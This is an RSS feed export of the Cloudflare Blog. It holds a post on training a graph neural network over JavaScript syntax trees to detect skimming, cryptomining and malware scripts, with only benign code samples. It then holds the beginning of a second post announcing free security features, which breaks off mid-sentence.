
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:media="http://search.yahoo.com/mrss/">
    <channel>
        <title><![CDATA[ The Cloudflare Blog ]]></title>
        <description><![CDATA[ Get the latest news on how products at Cloudflare are built, technologies used, and join the teams helping to build a better Internet. ]]></description>
        <link>https://blog.cloudflare.com</link>
        <atom:link href="https://blog.cloudflare.com/" rel="self" type="application/rss+xml"/>
        <language>en-us</language>
        <image>
            <url>https://blog.cloudflare.com/favicon.png</url>
            <title>The Cloudflare Blog</title>
            <link>https://blog.cloudflare.com</link>
        </image>
        <lastBuildDate>Sun, 12 Apr 2026 18:12:26 GMT</lastBuildDate>
        <item>
            <title><![CDATA[How we train AI to uncover malicious JavaScript intent and make web surfing safer]]></title>
            <link>https://blog.cloudflare.com/how-we-train-ai-to-uncover-malicious-javascript-intent-and-make-web-surfing-safer/</link>
            <pubDate>Wed, 19 Mar 2025 13:00:00 GMT</pubDate>
            <description><![CDATA[ Learn more about how Cloudflare developed an AI model to uncover malicious JavaScript intent using a Graph Neural Network, from pre-processing data to inferencing at scale.  ]]></description>
            <content:encoded><![CDATA[ <p>Modern websites <a href="https://blog.cloudflare.com/application-security-report-2024-update/#enterprise-applications-use-47-third-party-scripts-on-average"><u>rely heavily</u></a> on JavaScript. Leveraging third-party scripts accelerates web app development, enabling organizations to deploy new features faster without building everything from scratch. However, supply chain attacks targeting third-party JavaScript are no longer just a theoretical concern — they have become a reality, as <a href="https://blog.cloudflare.com/polyfill-io-now-available-on-cdnjs-reduce-your-supply-chain-risk/"><u>recent incidents</u></a> have shown. Given the vast number of scripts and the rapid pace of updates, manually reviewing each one is not a scalable security strategy.</p><p>Cloudflare provides automated client-side protection through <a href="https://developers.cloudflare.com/page-shield/"><u>Page Shield</u></a>. Until now, Page Shield could scan JavaScript dependencies on a web page, flagging obfuscated script content which also exfiltrates data. However, these are only indirect indicators of compromise or malicious intent. Our original approach didn’t provide clear insights into a script’s specific malicious objectives or the type of attack it was designed to execute.</p><p>Taking things a step further, we have developed a new AI model that allows us to detect the exact malicious intent behind each script. This intelligence is now integrated into Page Shield, available to all Page Shield <a href="https://developers.cloudflare.com/page-shield/#availability"><u>add-on</u></a> customers. We are starting with three key threat categories: <a href="https://en.wikipedia.org/wiki/Web_skimming"><u>Magecart</u></a>, crypto mining, and malware.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/6EefJpCcho3DIjbVbQIjuz/68852b905955065e48ec2aa4648621cd/1.png" />
          </figure><p><sup><i>Screenshot of Page Shield dashboard showing results of three types of analysis.</i></sup></p><p>With these improvements, Page Shield provides deeper visibility into client-side threats, empowering organizations to better protect their users from evolving security risks. This new capability is available to all Page Shield customers with the <a href="https://developers.cloudflare.com/page-shield/#availability"><u>add-on</u></a>. Head over <a href="https://dash.cloudflare.com/?to=/:account/:zone/security/page-shield"><u>to the dashboard</u></a>, and you can find the new malicious code analysis for each of the scripts monitored.</p><p>In the following sections, we take a deep dive into how we developed this model.</p>
    <div>
      <h3>Training the model to detect hidden malicious intent</h3>
      <a href="#training-the-model-to-detect-hidden-malicious-intent">
        
      </a>
    </div>
    <p>We built this new Page Shield AI model to detect the intent of JavaScript threats at scale. Training such a model for JavaScript comes with unique challenges, including dealing with web code written in many different styles, often obfuscated yet benign. For instance, the following three snippets serve the same function.</p>
            <pre><code>//Readable, plain code
function sayHi(name) {
  console.log(
    `Hello ${
      name ?? 
      "World" //default
    }!`
  );
}
sayHi("Internet");

//Minified
function sayHi(l){console.log(`Hello ${l??"World"}!`)}sayHi("Internet");

//Obfuscated
var h=Q;(function(V,A){var J=Q,p=V();while(!![]){try{var b=-parseInt(J('0x79'))/0x1*(-parseInt(J('0x6e'))/0x2)+-parseInt(J('0x80'))/0x3+parseInt(J('0x76'))/0x4*(-parseInt(J('0x72'))/0x5)+parseInt(J('0x6a'))/0x6+parseInt(J('0x84'))/0x7+-parseInt(J('0x6d'))/0x8*(-parseInt(J('0x7d'))/0x9)+parseInt(J('0x73'))/0xa*(-parseInt(J('0x7c'))/0xb);if(b===A)break;else p['push'](p['shift']());}catch(U){p['push'](p['shift']());}}}(S,0x22097));function sayHi(p){var Y=Q,b=(function(){var W=!![];return function(e,x){var B=W?function(){var m=Q;if(x){var G=x[m('0x71')](e,arguments);return x=null,G;}}:function(){};return W=![],B;};}()),U=b(this,function(){var s=Q,W=typeof window!==s('0x6b')?window:typeof process===s('0x6c')&amp;&amp;typeof require===s('0x7b')&amp;&amp;typeof global==='object'?global:this,e=W['console']=W['console']||{},x=[s('0x78'),s('0x70'),'info',s('0x69'),s('0x77'),'table',s('0x7f')];for(var B=0x0;B&lt;x[s('0x83')];B++){var G=b[s('0x75')][s('0x6f')][s('0x74')](b),t=x[B],X=e[t]||G;G['__proto__']=b[s('0x74')](b),G['toString']=X[s('0x7e')]['bind'](X),e[t]=G;}});U(),console['log'](Y('0x81')+(p??Y('0x7a'))+'!');}sayHi(h('0x82'));function Q(V,A){var p=S();return Q=function(b,U){b=b-0x69;var W=p[b];return W;},Q(V,A);}function S(){var v=['Internet','length','77966Hcxgji','error','1078032RtaGFM','undefined','object','8zrzBEk','244xEPFaR','prototype','warn','apply','10LQgYRU','400TNVOzq','bind','constructor','146612cfnkCX','exception','log','1513TBJIGL','World','function','57541MkoqrR','2362383dtBFrf','toString','trace','647766YvOJOm','Hello\x20'];S=function(){return v;};return S();}</code></pre>
            <p>With such a variance of styles (and many more), our machine learning solution needs to balance precision (low false positive rate), recall (don’t miss an attack vector), and speed. Here’s how we do it:</p>
    <div>
      <h4>Using syntax trees to classify malicious code</h4>
      <a href="#using-syntax-trees-to-classify-malicious-code">
        
      </a>
    </div>
    <p>JavaScript files are parsed into <a href="https://en.wikipedia.org/wiki/Tree_(graph_theory)"><u>syntax trees (connected acyclic graphs)</u></a>. These serve as the input to a <a href="https://en.wikipedia.org/wiki/Graph_neural_network"><u>Graph Neural Network (GNN)</u></a>. GNNs are used because they effectively capture the interdependencies (relationships between nodes) in executing code, such as a function calling another function. This contrasts with treating the code as merely a sequence of words — something a code compiler, incidentally, does not do. Another motivation to use GNNs is the <a href="https://dl.acm.org/doi/10.1007/978-3-030-92270-2_57"><u>insight</u></a> that the syntax trees of malicious versus benign JavaScript tend to be different. For example, it’s not rare to find attacks that consist of malicious snippets inserted into, but otherwise isolated from, the rest of a benign base code.</p><p>To parse the files, the <a href="https://tree-sitter.github.io/"><u>tree-sitter library</u></a> was chosen for its speed. One peculiarity of this parser, specialized for text editors, is that it parses out <a href="https://en.wikipedia.org/wiki/Parse_tree"><u>concrete syntax trees (CST)</u></a>. CSTs retain everything from the original text input, including spacing information, comments, and even nodes attempting to repair syntax errors. This differs from <a href="https://en.wikipedia.org/wiki/Abstract_syntax_tree"><u>abstract syntax trees (AST)</u></a>, the data structures used in compilers, which have just the essential information to execute the underlying code while ignoring the rest. One key reason for wanting to convert the CST to an AST-like structure, is that it reduces the tree size, which in turn reduces computation and memory usage. To do that, we abstract and filter out unnecessary nodes such as code comments. Consider for instance, how the following snippet</p>
            <pre><code>x = `result: ${(10+5) *   3}`;;; //this is a comment</code></pre>
            <p>… gets converted to an AST-like representation:</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/4KweWZ4yIzOTiIcYqHC682/56c059b38ad46949e7285d84438be4c9/2.png" />
          </figure><p><sup><i>Abstract Syntax Tree (AST) representation of the sample code above. Unnecessary elements get removed (e.g. comments, spacing) whereas others get encoded in the tree structure (order of operations due to parentheses).</i></sup></p><p>One benefit of working with parsed syntax trees is that <a href="https://huggingface.co/learn/nlp-course/en/chapter2/4"><u>tokenization</u></a> comes for free! We collect and treat the node leaves’ text as our tokens, which will be used as features (inputs) for the machine learning model. Note that multiple characters in the original input, for instance backticks to form a template string, are not treated as tokens per se, but remain encoded in the graph structure given to the GNN. (Notice in the sample tree representations the different node types, such as “assignment_expression”). Moreover, some details in the exact text input become irrelevant in the executing AST, such as whether a string was originally written using double quotes vs. single quotes.</p><p>We encode the node tokens and node types into a matrix of counts. Currently, we lowercase the nodes' text to reduce vocabulary size, improving efficiency and reducing sparsity. Note that JavaScript is a case-sensitive language, so this is a trade-off we continue to explore. This matrix and, importantly, the information about the node edges within the tree, is the input to the GNN.</p><p>How do we deal with obfuscated code? We don’t treat it specially. Rather, we always parse the JavaScript text as is, which incidentally unescapes <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Regular_expressions/Character_escape"><u>escape characters</u></a> too. For instance, the resulting AST shown below for the following input exemplifies that:</p>
            <pre><code>atob('\x55\x32\x56\x75\x5a\x45\x52\x68\x64\x47\x45\x3d') == "SendData"</code></pre>
            
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/sV2qPtj8G30EFnW6rwCav/ef0a970e338e5610da08fa3ccbdeafcc/3.png" />
          </figure><p><sup><i>Abstract Syntax Tree (AST) representation of the sample code above. JavaScript escape characters are unescaped.</i></sup></p><p>Moreover, our vocabulary contains several tokens that are commonly used in obfuscated code, such as double escaped hexadecimal-encoded characters. That, together with the graph structure information, is giving us satisfying results — the model successfully classifies malicious code whether it's obfuscated or not. Analogously, our model’s scores remain stable when applied to plain benign scripts compared to obfuscating them in different ways. In other words, the model’s score on a script is similar to the score on an obfuscated version of the same script. Having said that, some of our model's false positives (FPs) originate from benign but obfuscated code, so we continue to investigate how we can improve our model's intelligence.</p>
    <div>
      <h4>Architecting the Graph Neural Network</h4>
      <a href="#architecting-the-graph-neural-network">
        
      </a>
    </div>
    <p>We train a <a href="https://mbernste.github.io/posts/gcn/"><u>message-passing graph convolutional network (MPGCN)</u></a> that processes the input trees. The message-passing layers iteratively update each node’s internal representation, encoded in a matrix, by aggregating information from its neighbors (parent and child nodes in the tree). A pooling layer then condenses this matrix into a feature vector, discarding the explicit graph structure (edge connections between nodes). At this point, standard neural network layers, such as fully connected layers, can be applied to progressively refine the representation. Finally, a <a href="https://en.wikipedia.org/wiki/Softmax_function"><u>softmax activation</u></a> layer produces a probability distribution over the four possible classes: benign, magecart, cryptomining, and malware.</p><p>We use the <a href="https://github.com/tensorflow/gnn"><u>TF-GNN library</u></a> to implement graph neural networks, with <a href="https://keras.io/"><u>Keras</u></a> serving as the high-level frontend for model building and training. This works well for us with one exception: <a href="https://github.com/tensorflow/gnn/issues/803#issue-2279602052"><u>TF-GNN does not support sparse matrices / tensors</u></a>. (That lack of support increases memory consumption, which also adds some latency.) Because of this, we are considering switching to <a href="https://pytorch-geometric.readthedocs.io/"><u>PyTorch Geometric</u></a> instead.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/79SbvJgWq3mwMks6Vtxpgs/5ab55f19b6cf90dc070b5f0d70abdde9/4.png" />
          </figure><p><sup><i>Graph neural network architecture, transforming the input tree with features down to the 4 classification probabilities.</i></sup></p><p>The model’s output probabilities are finally inverted and scaled into <a href="https://developers.cloudflare.com/page-shield/how-it-works/malicious-script-detection/#malicious-script-detection"><u>scores</u></a> (ranging from 1 to 99). The “js_integrity” score aggregates the malicious classes (magecart, malware, cryptomining). A low score means likely malicious, and a high score means likely benign. We use this output format for consistency with other Cloudflare detection systems, such as <a href="https://developers.cloudflare.com/page-shield/how-it-works/malicious-script-detection/#malicious-script-detection"><u>Bot Management</u></a> and the <a href="https://developers.cloudflare.com/waf/detections/attack-score/"><u>WAF Attack Score</u></a>. The following diagram illustrates the preprocessing and feature analysis pipeline of the model down to the inference results.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/zLPW9kydBIJySfjaN2TTI/d7b9a7f51c1bb501aac2b7a724d62a1d/5.png" />
          </figure><p><sup><i>Model inference pipeline to sniff out and alert on malicious JavaScript.</i></sup></p>
    <div>
      <h4>Tackling unbalanced data: malicious scripts are the minority</h4>
      <a href="#tackling-unbalanced-data-malicious-scripts-are-the-minority">
        
      </a>
    </div>
    <p>Finding malicious scripts is like finding a needle in a haystack; they are anomalies among plenty of otherwise benign JavaScript. This naturally results in a highly imbalanced dataset. For example, our Magecart-labeled scripts only account for ~6% of the total dataset.</p><p>Not only that, but the “benign” category contains an immense variance (and amount) of JavaScript to classify. The lengths of the scripts are highly diverse (ranging from just a few bytes to several megabytes), their coding styles vary widely, some are obfuscated whereas others are not, etc. To make matters worse, malicious payloads are often just small, carefully inserted fragments within an otherwise perfectly valid and functional benign script. This all creates a cacophony of token distributions for an ML model to make sense of.</p><p>Still, our biggest problem remains finding enough malevolent JavaScript to add to our training dataset. Thus, simplifying it, our strategy for data collection and annotation is two-fold:</p><ol><li><p>Malicious scripts are about quantity → the more, the merrier (for our model, that is 😉). Of course, we still care about quality and diversity. But because we have so few of them (in comparison to the number of benign scripts), we take what we can.</p></li><li><p>Benign scripts are about quality → the more <i>variance</i>, the merrier. Here we have the opposite situation. Because we can collect so many of them easily, the value is in adding differentiated scripts.</p></li></ol>
    <div>
      <h5>Learning key scripts only: reduce false positives with minimal annotation time</h5>
      <a href="#learning-key-scripts-only-reduce-false-positives-with-minimal-annotation-time">
        
      </a>
    </div>
    <p>To filter out semantically-similar scripts (mostly benign), we employed the latest advancements in LLM for generating code <a href="https://www.cloudflare.com/learning/ai/what-are-embeddings/"><u>embeddings</u></a>. We added those scripts that are distant enough from each other to our dataset, as measured by <a href="https://developers.cloudflare.com/vectorize/best-practices/create-indexes/#distance-metrics"><u>vector cosine similarity</u></a>. Our methodology is simple — for a batch of potentially new scripts:</p><ul><li><p>Initialize an empty <a href="https://www.cloudflare.com/learning/ai/what-is-vector-database/"><u>vector database</u></a>. For local experimentation, we are fans of <a href="https://docs.trychroma.com/docs/overview/introduction"><u>Chroma DB</u></a>.</p></li><li><p>For each script:</p><ul><li><p>Call an LLM to generate its embedding. We’ve had good results with <a href="https://github.com/bigcode-project/starcoder2"><u>starcoder2</u></a>, and most recently <a href="https://huggingface.co/Qwen/Qwen2.5-Coder-32B"><u>qwen2.5-coder</u></a>.</p></li><li><p>Search in the database for the top-1 closest other script’s vectors.</p></li><li><p>If the distance &gt; threshold (0.10), select it and add it to the database.</p></li><li><p>Else, discard the script (though we consider it for further validations and tests).</p></li></ul></li></ul><p>Although this methodology has an inherent bias in gradually favoring the first seen scripts, in practice we’ve used it for batches of newly and randomly sampled JavaScript only. To review the whole existing dataset, we could employ other but similar strategies, like applying <a href="https://scikit-learn.org/stable/modules/generated/sklearn.cluster.HDBSCAN.html"><u>HDBSCAN</u></a> to identify an unknown number of clusters and then selecting the medoids, boundary, and anomaly data points.</p><p>We’ve successfully employed this strategy for pinpointing a few highly varied scripts that were relevant for the model to learn from. Our security researchers save a tremendous amount of time on manual annotation, while false positives are drastically reduced. For instance, in a large and unlabeled bucket of scripts, one of our early evaluation models identified ~3,000 of them as malicious. That’s too many to manually review! By removing near duplicates, we narrowed the need for annotation down to only 196 samples, less than 7% of the original amount (see the <a href="https://en.wikipedia.org/wiki/T-distributed_stochastic_neighbor_embedding"><u>t-SNE</u></a> visualization below of selected points and clusters). Three of those scripts were actually malicious, one we could not fully determine, and the rest were benign. By just re-training with these new labeled scripts, a tiny fraction of our whole dataset, we reduced false positives by 50% (as gauged in the same bucket and in a controlled test set). We have consistently repeated this procedure to iteratively enhance successive model versions.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/hHw00ojXE4CdorMQI5b56/897e0e045230522478e0735c3e28ff12/6.png" />
          </figure><p><sup><i>2D visualization of scripts projected onto an embedding space, highlighting those sufficiently dissimilar from one another.</i></sup></p>
    <div>
      <h4>From the lab, to the real world</h4>
      <a href="#from-the-lab-to-the-real-world">
        
      </a>
    </div>
    <p>Our latest model in evaluation has both a macro accuracy and an overall malicious precision nearing 99%(!) on our test dataset. So we are done, right? Wrong! The real world is not the same as the lab, where many more variances of benign JavaScript can be seen. To further assure minimum prediction changes between model releases, we follow these three anti-fool measures:</p>
    <div>
      <h5>Evaluate metrics uncertainty</h5>
      <a href="#evaluate-metrics-uncertainty">
        
      </a>
    </div>
    <p>First, we thoroughly estimate the <i>uncertainty</i> of our offline evaluation metrics. How accurate are our accuracy metrics themselves? To gauge that, we calculate the <a href="https://en.wikipedia.org/wiki/Standard_error"><u>standard error</u></a> and confidence intervals for our offline metrics (precision, recall, <a href="https://en.wikipedia.org/wiki/F-score"><u>F1 measure</u></a>). To do that, we calculate the model’s predicted scores on the test set once (the original sample), and then generate bootstrapped resamples from it. We use simple random (re-)sampling as it offers us a more conservative estimate of error than stratified or balanced sampling.</p><p>We would generate 1,000 resamples, each a fraction of 15% resampled from the original test sample, then calculate the metrics for each individual resample. This results in a distribution of sampled data points. We measure its mean, the standard deviation (with <a href="https://en.wikipedia.org/wiki/Standard_deviation#Corrected_sample_standard_deviation"><u>Bessel’s correction</u></a>), and finally the standard error and a <a href="https://en.wikipedia.org/wiki/Confidence_interval"><u>confidence interval</u></a> (CI) (using the percentile method, such as the 2.5 and 97.5 percentiles for a 95% CI). See below for an example of a bootstrapped distribution for precision (P), illustrating that a model’s performance is a continuum rather than a fixed value, and that might exhibit subtly (left-)skewed tails. For some of our internally evaluated models, it can easily happen that some of the sub-sampled metrics decrease by up to 20 percentage points within a 95% confidence range. High standard errors and/or confidence ranges signal needs for model improvement and for improving and increasing our test set.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/2x3X2oVv2EfIkLYFrcjLWK/985a685e565f759b7781821595ac4ff7/7.png" />
          </figure><p><sup><i>An evaluation metric, here precision (P), might change significantly depending on what’s exactly tested. We thoroughly estimate the metric’s standard error and confidence intervals.</i></sup></p>
    <div>
      <h5>Benchmark against massive offline unlabeled dataset</h5>
      <a href="#benchmark-against-massive-offline-unlabeled-dataset">
        
      </a>
    </div>
    <p>We run our model on the entire corpus of scripts seen by Cloudflare's network and temporarily cached in the last 90 days. By the way, that’s nearly 1 TiB and 26 million different JavaScript files! With that, we can observe the model’s behavior against real traffic, yet completely offline (to ensure no impact to production). We check the malicious prediction rate, latency, throughput, etc. and sample some of the predictions for verification and annotation.</p>
    <div>
      <h5>Review in staging and shadow mode</h5>
      <a href="#review-in-staging-and-shadow-mode">
        
      </a>
    </div>
    <p>Only after all the previous checks were cleared, we then run this new tentative version in our staging environment. For major model upgrades, we also deploy them in <a href="https://cloud.google.com/architecture/guidelines-for-developing-high-quality-ml-solutions"><u>shadow mode</u></a> (log-only mode) — running on production, alongside our existing model. We study the model’s behavior for a while before finally marking it as production ready, otherwise we go back to the drawing board.</p>
    <div>
      <h3>AI inference at scale</h3>
      <a href="#ai-inference-at-scale">
        
      </a>
    </div>
    <p>At the time of writing, Page Shield sees an average of <i>40,000 scripts per second</i>. Many of those scripts are repeated, though. Everything on the Internet follows a <a href="https://blog.cloudflare.com/making-waf-ai-models-go-brr/#caching-inference-result"><u>Zipf's law distribution</u></a>, and JavaScript seen on the Cloudflare network is no exception. For instance, it is estimated that different versions of the <a href="https://blog.cloudflare.com/page-shield-positive-blocking-policies/#client-side-libraries"><u>Bootstrap library run on more than 20% of websites</u></a>. It would be a waste of computing resources if we repeatedly re-ran the AI model for the very same inputs — inference result caching is needed. Not to mention, GPU utilization is expensive!</p><p>The question is, what is the best way to cache the scripts? We could take an <a href="https://csrc.nist.gov/glossary/term/sha_256"><u>SHA-256</u></a> hash of the plain content as is. However, any single change in the transmitted content (comments, spacing, or a different character set) changes the SHA-256 output hash.</p><p>A better caching approach? Since we need to parse the code into syntax trees for our GNN model anyway, this tree structure and content is what we use to hash the JavaScript. As described above, we filter out nodes in the syntax tree like comments or empty statements. In addition, some irrelevant details get abstracted out in the AST (escape sequences are unescaped, the way of writing strings is normalized, unnecessary parentheses are removed for the operations order is encoded in the tree, etc.).</p><p>Using such a tree-based approach to caching, we can conclude that at any moment over 99.9% of reported scripts have already been seen in our network! Unless we deploy a new model with significant improvements, we don’t re-score previously seen JavaScript but just return the cached score. As a result, the model only needs to be called <i>fewer than 10 times per minute</i>, even during peak times!</p>
    <div>
      <h3>Let AI help ease PCI DSS v4 compliance</h3>
      <a href="#let-ai-help-ease-pci-dss-v4-compliance">
        
      </a>
    </div>
    <p>One of the most popular use cases for deploying Page Shield is to help meet the two new client-side security requirements in PCI DSS v4 — <a href="https://assets.ctfassets.net/slt3lc6tev37/4HJex2kG7FCb1IJRC9rIhL/081fdd8b1a471def14cfd415f99e4b58/Evaluation_Page_Shield_091124_FINAL.pdf"><u>6.4.3 and 11.6.1</u></a>. These requirements make companies responsible for approving scripts used in payment pages, where payment card data could be compromised by malicious JavaScript. Both of these requirements <a href="https://blog.pcisecuritystandards.org/countdown-to-pci-dss-v4.0"><u>become effective</u></a> on March 31, 2025.</p><p>Page Shield with AI malicious JavaScript detection can be deployed with just a few clicks, especially if your website is already proxied through Cloudflare. <a href="https://www.cloudflare.com/page-shield/"><u>Sign up here</u></a> to fast track your onboarding!</p> ]]></content:encoded>
            <category><![CDATA[Security Week]]></category>
            <category><![CDATA[Page Shield]]></category>
            <category><![CDATA[AI]]></category>
            <category><![CDATA[Machine Learning]]></category>
            <category><![CDATA[Malicious JavaScript]]></category>
            <category><![CDATA[JavaScript]]></category>
            <guid isPermaLink="false">3VQUOQBWzT8cc7oFFv003i</guid>
            <dc:creator>Juan Miguel Cejuela</dc:creator>
            <dc:creator>Zhiyuan Zheng</dc:creator>
        </item>
        <item>
            <title><![CDATA[A safer Internet with Cloudflare: free threat intelligence, analytics, and new threat detections]]></title>
            <link>https://blog.cloudflare.com/a-safer-internet-with-cloudflare/</link>
            <pubDate>Tue, 24 Sep 2024 13:00:00 GMT</pubDate>
            <description><![CDATA[ Today, we are taking some big steps forward in our mission to help build a better Internet. Cloudflare is giving everyone free access to 10+ different website and network security products and features. ]]></description>
            <content:encoded><![CDATA[ <p>Anyone using the Internet likely touches Cloudflare’s network on a daily basis, either by accessing a site protected by Cloudflare, using our <a href="https://1.1.1.1/dns"><u>1.1.1.1 resolver</u></a>, or connecting via a network using our Cloudflare One products.</p><p>This puts Cloudflare in a position of great responsibility to make the Internet safer for billions of users worldwide. Today we are providing threat intelligence and more than 10 new security features for free to all of our customers. Whether you are using Cloudflare to <a href="https://www.cloudflare.com/learning/security/glossary/website-security-checklist/">protect your website</a>, your home network, or your office, you will find something useful that you can start using with just a few clicks.</p><p>These features are focused around some of the largest growing concerns in cybersecurity, including <a href="https://www.cloudflare.com/zero-trust/solutions/account-takeover-prevention/"><u>account takeover attacks</u></a>, <a href="https://blog.cloudflare.com/tag/supply-chain-attacks/"><u>supply chain attacks</u></a>, <a href="https://www.cloudflare.com/learning/security/api/what-is-api-security/"><u>attacks against API endpoints</u></a>, <a href="https://www.cloudflare.com/network-services/products/magic-network-monitoring/"><u>network visibility</u></a>, and <a href="https://www.cloudflare.com/learning/access-management/what-is-dlp/"><u>data leaks from your network</u></a>.</p>
    <div>
      <h2>More security for everyone</h2>
      <a href="#more-security-for-everyone">
        
      </a>
    </div>
    <p>You can read more about each one of these features in the sections below, but we wanted to provide a short summary upfront.</p><p><b>If you are a cyber security enthusiast: </b>you can head over to our <a href="http://cloudflare.com/threat-intelligence/"><u>new Cloudforce One threat intelligence website</u></a> to find out about threat actors, attack campaigns, and other Internet-wide security issues.</p><p><b>If you are a website owner</b>: starting today, all free plans will get access to <a href="https://developers.cloudflare.com/waf/analytics/security-analytics/"><u>Security Analytics</u></a> for their zones. Additionally, we are also making <a href="https://developers.cloudflare.com/dns/additional-options/analytics/"><u>DNS Analytics</u></a> available to everyone via GraphQL.</p><p>Once you have visibility, it’s all about distinguishing good from malicious traffic. All customers get access to always-on <a href="https://developers.cloudflare.com/waf/managed-rules/check-for-exposed-credentials/"><u>account takeover attack detection</u></a>, <a href="https://developers.cloudflare.com/api-shield/security/schema-validation/"><u>API schema validation</u></a> to enforce a positive security model on their API endpoints, and <a href="https://developers.cloudflare.com/page-shield/detection/monitor-connections-scripts/"><u>Page Shield script monitor</u></a> to provide visibility into the third party assets that you are loading from your side and that could be used to perform supply chain-based attacks.</p><p><b>If you are using Cloudflare to protect your people and network</b>: We are going to bundle a number of our Cloudflare One products into a new free offering. This bundle will include the current <a href="https://www.cloudflare.com/plans/zero-trust-services/"><u>Zero Trust products we offer for free</u></a>, and new products like <a href="https://www.cloudflare.com/network-services/products/magic-network-monitoring/"><u>Magic Network Monitoring</u></a> for network visibility, <a href="https://www.cloudflare.com/learning/access-management/what-is-dlp/"><u>Data Loss Prevention</u></a> for sensitive data, and <a href="https://www.cloudflare.com/learning/performance/what-is-digital-experience-monitoring/"><u>Digital Experience Monitoring</u></a> for measuring network connectivity and performance. Cloudflare is the only vendor to offer free versions of these types of products.</p><p><b>If you are a new user: </b>We have new options for authentication. Starting today, we are introducing the option to use Google Authentication to sign up and log into Cloudflare, which will make it easier for some of our customers to login, and reduce dependence on remembering passwords, consequently reducing the risk of their Cloudflare account becoming compromised.</p><p>And now in more detail:</p>
    <div>
      <h2>Threat Intelligence &amp; Analytics</h2>
      <a href="#threat-intelligence-analytics">
        
      </a>
    </div>
    
    <div>
      <h3>Cloudforce One</h3>
      <a href="#cloudforce-one">
        
      </a>
    </div>
    <p>Our threat research and operations team, <a href="https://blog.cloudflare.com/introducing-cloudforce-one-threat-operations-and-threat-research/"><u>Cloudforce One</u></a>, is excited to announce the launch of a <a href="http://cloudflare.com/threat-intelligence/"><u>freely accessible dedicated threat intelligence website</u></a>. We will use this site to publish both technical and executive-oriented information on the latest threat actor activity and tactics, as well as insights on emerging malware, vulnerabilities, and attacks.</p><p>We are also publishing two new pieces of threat intelligence, along with a promise for more. Head over to the <a href="http://cloudflare.com/threat-intelligence/"><u>new website</u></a> here to see the latest research, covering an advanced threat actor targeting regional organizations across South and East Asia, as well as the rise of double brokering freight fraud. Future research and data sets will also become available as a new<a href="https://developers.cloudflare.com/security-center/indicator-feeds/"> <u>Custom Indicator Feed</u></a><u> </u>for customers.</p><p><a href="http://cloudflare.com/threat-intelligence/"><u>Subscribe</u></a> to receive email notifications of future threat research.</p>
    <div>
      <h3>Security Analytics</h3>
      <a href="#security-analytics">
        
      </a>
    </div>
    <p>Security Analytics gives you a security lens across <b>all</b> of your HTTP traffic, not only mitigated requests, allowing you to focus on what matters most: traffic deemed malicious but potentially not mitigated. This means that, in addition to using Security Events to view security actions taken by our Application Security suite of products, you can use Security Analytics to review all of your traffic for anomalies or strange behavior and then use the insights gained to craft precise mitigation rules based on your specific traffic patterns. Starting today, we are making this lens available to customers across all plans.</p><p>Free and Pro plan users will now have access to <a href="https://dash.cloudflare.com/?to=/:account/:zone/security/analytics"><u>a new dashboard</u></a> for Security Analytics where you can view a high level overview of your traffic in the Traffic Analysis chart, including the ability to group and filter so that you can zero in on anomalies with ease. You can also see top statistics and filter across a variety of dimensions, including countries, source browsers, source operating systems, HTTP versions, SSL protocol version, cache status, and security actions.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/7oBM7D78NDErNNgIPRSJN9/055440bfd256bb2f128d5d99858a5748/image6.jpg" />
          </figure>
    <div>
      <h3>DNS Analytics</h3>
      <a href="#dns-analytics">
        
      </a>
    </div>
    <p>Every user on Cloudflare now has access to <a href="https://dash.cloudflare.com/?to=/:account/:zone/dns/analytics"><u>the new and improved DNS Analytics dashboard</u></a> as well as access to the new DNS Analytics dataset in our <a href="https://developers.cloudflare.com/analytics/graphql-api/"><u>powerful GraphQL API</u></a>. Now, you can easily analyze the DNS queries to your domain(s), which can be useful for troubleshooting issues, detecting patterns and trends, or generating usage reports by applying powerful filters and breaking out DNS queries by source.</p><p>With the <a href="https://blog.cloudflare.com/foundation-dns-launch"><u>launch of Foundation DNS</u></a>, we introduced new DNS Analytics based on GraphQL, but these analytics were previously only available for zones using <a href="https://developers.cloudflare.com/dns/foundation-dns/advanced-nameservers/"><u>advanced nameservers</u></a>. However, due to the deep insight these analytics provide, we felt this feature was something we should make available to everyone. Starting today, the new DNS Analytics based on GraphQL can be accessed on every zone using Cloudflare’s Authoritative DNS service under Analytics in the DNS section.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/3LJ4aIFB4pHhHtWeWzYlgV/96c701d7c826a92e1220c7cd85f40f88/image5.png" />
          </figure>
    <div>
      <h2>Application threat detection and mitigation</h2>
      <a href="#application-threat-detection-and-mitigation">
        
      </a>
    </div>
    
    <div>
      <h3>Account takeover detection</h3>
      <a href="#account-takeover-detection">
        
      </a>
    </div>
    <p><a href="https://techreport.com/statistics/cybersecurity/password-reuse-statistics/"><u>65% of Internet users</u></a> are vulnerable to account takeover (ATO) due to password reuse and the rising frequency of large data breaches. Helping build a better Internet involves making critical account protection easy and accessible for everyone.</p><p>Starting today, we’re providing robust account security that helps prevent credential stuffing and other ATO attacks to everyone for free — from individual users to large enterprises — making enhanced features like Leaked Credential Checks and ATO detections available at no cost. </p><p>These updates include automatic detection of logins, brute force attack prevention with minimal setup, and access to a comprehensive leaked credentials database of over 15 billion passwords which will contain leaked passwords from the <a href="https://haveibeenpwned.com/"><u>Have I been Pwned (HIBP)</u></a> service in addition to our own database. Customers can take action on the leaked credential requests through Cloudflare’s WAF features like <a href="https://developers.cloudflare.com/waf/rate-limiting-rules"><u>Rate Limiting Rules</u></a> and <a href="https://developers.cloudflare.com/waf/custom-rules/"><u>Custom Rules</u></a>, or they can take action at the origin by enforcing <a href="https://www.cloudflare.com/learning/access-management/what-is-multi-factor-authentication/"><u>multi-factor authentication (MFA)</u></a> or requiring a password reset based on a header sent to the origin.</p><p>Setup is simple: Free plan users get automatic detections, while paid users can activate the new features via one click in the 